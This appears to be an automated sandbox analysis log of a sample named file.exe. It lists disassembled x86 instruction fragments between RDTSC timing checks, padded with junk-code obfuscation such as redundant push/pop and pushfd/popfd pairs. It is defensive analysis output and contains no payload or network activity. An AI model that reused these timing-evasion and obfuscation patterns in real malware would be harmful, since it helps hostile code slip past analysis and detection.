Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511074C second address: 5110785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FC87074E0D7h 0x0000000f xchg eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC87074E0D5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110785 second address: 511078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511078B second address: 511078F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511078F second address: 51107AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FC870BD805Eh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107AA second address: 51107BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107BC second address: 51107C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107C0 second address: 51107E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC87074E0D9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107E6 second address: 51107FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107FB second address: 5110801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110801 second address: 5110805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110805 second address: 5110809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110809 second address: 5110887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FC870BD8064h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 call 00007FC870BD805Eh 0x00000017 jmp 00007FC870BD8062h 0x0000001c pop esi 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007FC870BD805Eh 0x00000024 sbb ecx, 1318AE48h 0x0000002a jmp 00007FC870BD805Bh 0x0000002f popfd 0x00000030 pop esi 0x00000031 popad 0x00000032 lea eax, dword ptr [ebp-04h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FC870BD8061h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110887 second address: 511088D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511088D second address: 5110893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110893 second address: 5110897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110897 second address: 51108B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC870BD8061h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108B3 second address: 51108B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108B9 second address: 51108BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108BD second address: 51108CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ax, 1E11h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511093A second address: 5110940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110940 second address: 5110944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110944 second address: 5110980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007FC870BD8067h 0x00000011 mov esi, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC870BD8065h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110980 second address: 51109AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC87074E10Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC87074E0CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109D3 second address: 51109D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109D9 second address: 51109E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109E9 second address: 51109ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109ED second address: 51109F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109F3 second address: 51109F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109F9 second address: 51109FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109FD second address: 5110A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC870BD805Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A28 second address: 5110A44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A44 second address: 5110A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A48 second address: 5110A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A4E second address: 5110048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FC870BD81D8h 0x0000001b xor eax, eax 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007FC874F46057h 0x00000031 mov edi, edi 0x00000033 jmp 00007FC870BD8066h 0x00000038 xchg eax, ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov al, dh 0x0000003e pushfd 0x0000003f jmp 00007FC870BD8066h 0x00000044 and ecx, 1286CED8h 0x0000004a jmp 00007FC870BD805Bh 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110048 second address: 51100C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushfd 0x00000007 jmp 00007FC87074E0D0h 0x0000000c and ecx, 35129938h 0x00000012 jmp 00007FC87074E0CBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FC87074E0D5h 0x00000024 and ah, FFFFFFD6h 0x00000027 jmp 00007FC87074E0D1h 0x0000002c popfd 0x0000002d mov esi, 4FB4CF47h 0x00000032 popad 0x00000033 push ecx 0x00000034 mov bx, 745Eh 0x00000038 pop edi 0x00000039 popad 0x0000003a xchg eax, ebp 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FC87074E0D1h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51100C3 second address: 5110146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC870BD805Eh 0x00000010 push FFFFFFFEh 0x00000012 pushad 0x00000013 call 00007FC870BD805Eh 0x00000018 jmp 00007FC870BD8062h 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007FC870BD805Bh 0x00000024 sub ah, 0000007Eh 0x00000027 jmp 00007FC870BD8069h 0x0000002c popfd 0x0000002d popad 0x0000002e call 00007FC870BD8059h 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 mov ax, 7519h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110146 second address: 511014A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511014A second address: 511018C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dl, ah 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC870BD8063h 0x00000013 and ah, 0000003Eh 0x00000016 jmp 00007FC870BD8069h 0x0000001b popfd 0x0000001c mov bx, si 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511018C second address: 5110192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110192 second address: 51101B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101B1 second address: 51101C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51101C3 second address: 51102AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov edi, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FC870BD805Fh 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 jmp 00007FC870BD805Fh 0x0000001c pushfd 0x0000001d jmp 00007FC870BD8068h 0x00000022 sub eax, 54C9AB58h 0x00000028 jmp 00007FC870BD805Bh 0x0000002d popfd 0x0000002e popad 0x0000002f pop eax 0x00000030 jmp 00007FC870BD8066h 0x00000035 push 1D68EB55h 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FC870BD8067h 0x00000041 sub si, FF7Eh 0x00000046 jmp 00007FC870BD8069h 0x0000004b popfd 0x0000004c call 00007FC870BD8060h 0x00000051 mov edx, eax 0x00000053 pop esi 0x00000054 popad 0x00000055 add dword ptr [esp], 5858401Bh 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007FC870BD8066h 0x00000064 pushad 0x00000065 popad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102AA second address: 51102BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102BA second address: 51102E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e jmp 00007FC870BD8067h 0x00000013 nop 0x00000014 pushad 0x00000015 mov cl, 85h 0x00000017 push eax 0x00000018 push edx 0x00000019 mov al, bl 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102E7 second address: 511032E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC87074E0D8h 0x00000008 add cl, FFFFFFC8h 0x0000000b jmp 00007FC87074E0CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 call 00007FC87074E0D5h 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511032E second address: 5110389 instructions: 0x00000000 rdtsc 0x00000002 mov dh, 61h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC870BD805Ah 0x0000000b popad 0x0000000c nop 0x0000000d pushad 0x0000000e mov cl, 31h 0x00000010 pushfd 0x00000011 jmp 00007FC870BD8063h 0x00000016 add cx, 851Eh 0x0000001b jmp 00007FC870BD8069h 0x00000020 popfd 0x00000021 popad 0x00000022 sub esp, 18h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC870BD805Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110389 second address: 5110429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC87074E0D7h 0x00000008 pop ecx 0x00000009 mov ebx, 4210148Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 mov dx, F390h 0x00000018 pop edx 0x00000019 call 00007FC87074E0D6h 0x0000001e mov ch, D7h 0x00000020 pop edi 0x00000021 popad 0x00000022 mov dword ptr [esp], ebx 0x00000025 pushad 0x00000026 push edi 0x00000027 pushad 0x00000028 popad 0x00000029 pop esi 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d jmp 00007FC87074E0CAh 0x00000032 pushfd 0x00000033 jmp 00007FC87074E0D2h 0x00000038 add ecx, 3AB43968h 0x0000003e jmp 00007FC87074E0CBh 0x00000043 popfd 0x00000044 popad 0x00000045 mov dword ptr [esp], esi 0x00000048 jmp 00007FC87074E0D6h 0x0000004d xchg eax, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110429 second address: 511042D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511042D second address: 5110431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110431 second address: 5110437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110437 second address: 5110560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC87074E0D2h 0x00000009 or esi, 2F758E28h 0x0000000f jmp 00007FC87074E0CBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FC87074E0D8h 0x0000001b adc cx, 4088h 0x00000020 jmp 00007FC87074E0CBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a jmp 00007FC87074E0D9h 0x0000002f xchg eax, edi 0x00000030 pushad 0x00000031 movsx edi, ax 0x00000034 popad 0x00000035 mov eax, dword ptr [75C74538h] 0x0000003a jmp 00007FC87074E0D2h 0x0000003f xor dword ptr [ebp-08h], eax 0x00000042 jmp 00007FC87074E0D0h 0x00000047 xor eax, ebp 0x00000049 jmp 00007FC87074E0D1h 0x0000004e nop 0x0000004f jmp 00007FC87074E0CEh 0x00000054 push eax 0x00000055 jmp 00007FC87074E0CBh 0x0000005a nop 0x0000005b pushad 0x0000005c jmp 00007FC87074E0D4h 0x00000061 call 00007FC87074E0D2h 0x00000066 mov di, ax 0x00000069 pop eax 0x0000006a popad 0x0000006b lea eax, dword ptr [ebp-10h] 0x0000006e jmp 00007FC87074E0CDh 0x00000073 mov dword ptr fs:[00000000h], eax 0x00000079 jmp 00007FC87074E0CEh 0x0000007e mov dword ptr [ebp-18h], esp 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 mov esi, edx 0x00000086 mov dh, E9h 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110560 second address: 511058D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 pushad 0x00000011 mov dh, ah 0x00000013 mov edx, 6CC83472h 0x00000018 popad 0x00000019 mov eax, edi 0x0000001b popad 0x0000001c mov ecx, dword ptr [eax+00000FDCh] 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510002B second address: 510007A instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC87074E0D9h 0x00000011 adc ecx, 13572D36h 0x00000017 jmp 00007FC87074E0D1h 0x0000001c popfd 0x0000001d call 00007FC87074E0D0h 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510007A second address: 510011E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2FAACFEDh 0x00000008 pushfd 0x00000009 jmp 00007FC870BD805Ah 0x0000000e and esi, 6FF46388h 0x00000014 jmp 00007FC870BD805Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f call 00007FC870BD805Fh 0x00000024 jmp 00007FC870BD8068h 0x00000029 pop esi 0x0000002a mov ecx, edx 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e jmp 00007FC870BD805Dh 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 mov di, ax 0x00000039 pushfd 0x0000003a jmp 00007FC870BD8068h 0x0000003f adc cx, 1AA8h 0x00000044 jmp 00007FC870BD805Bh 0x00000049 popfd 0x0000004a popad 0x0000004b sub esp, 2Ch 0x0000004e pushad 0x0000004f movzx ecx, dx 0x00000052 mov bh, 9Fh 0x00000054 popad 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510011E second address: 5100123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100123 second address: 51001A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC870BD8061h 0x00000011 sbb cl, 00000026h 0x00000014 jmp 00007FC870BD8061h 0x00000019 popfd 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC870BD805Eh 0x00000021 adc eax, 6A7601C8h 0x00000027 jmp 00007FC870BD805Bh 0x0000002c popfd 0x0000002d mov ah, 3Bh 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, ebx 0x00000032 jmp 00007FC870BD805Bh 0x00000037 xchg eax, edi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC870BD8065h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51001A6 second address: 51001B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51001B6 second address: 51001BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51001BA second address: 51001D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cl, 0Bh 0x0000000c push edx 0x0000000d pop edi 0x0000000e popad 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC87074E0CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100202 second address: 5100254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC870BD8067h 0x00000009 xor eax, 4A406D8Eh 0x0000000f jmp 00007FC870BD8069h 0x00000014 popfd 0x00000015 mov edi, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub ebx, ebx 0x0000001c pushad 0x0000001d mov ch, bl 0x0000001f mov eax, 704B83A1h 0x00000024 popad 0x00000025 sub edi, edi 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100254 second address: 5100258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100258 second address: 51002CE instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 314A03AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FC870BD805Bh 0x0000000f sbb al, 0000004Eh 0x00000012 jmp 00007FC870BD8069h 0x00000017 popfd 0x00000018 popad 0x00000019 inc ebx 0x0000001a jmp 00007FC870BD805Eh 0x0000001f test al, al 0x00000021 jmp 00007FC870BD8060h 0x00000026 je 00007FC870BD827Ch 0x0000002c pushad 0x0000002d pushad 0x0000002e mov bx, ax 0x00000031 mov ch, C1h 0x00000033 popad 0x00000034 mov bx, D728h 0x00000038 popad 0x00000039 lea ecx, dword ptr [ebp-14h] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FC870BD805Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51002CE second address: 51002E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC87074E0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510031E second address: 5100359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c mov al, dl 0x0000000e pop esi 0x0000000f mov esi, edi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC870BD8068h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100359 second address: 5100368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100368 second address: 510036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510036E second address: 5100372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100372 second address: 5100376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100376 second address: 510038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC87074E0CAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510038B second address: 5100391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
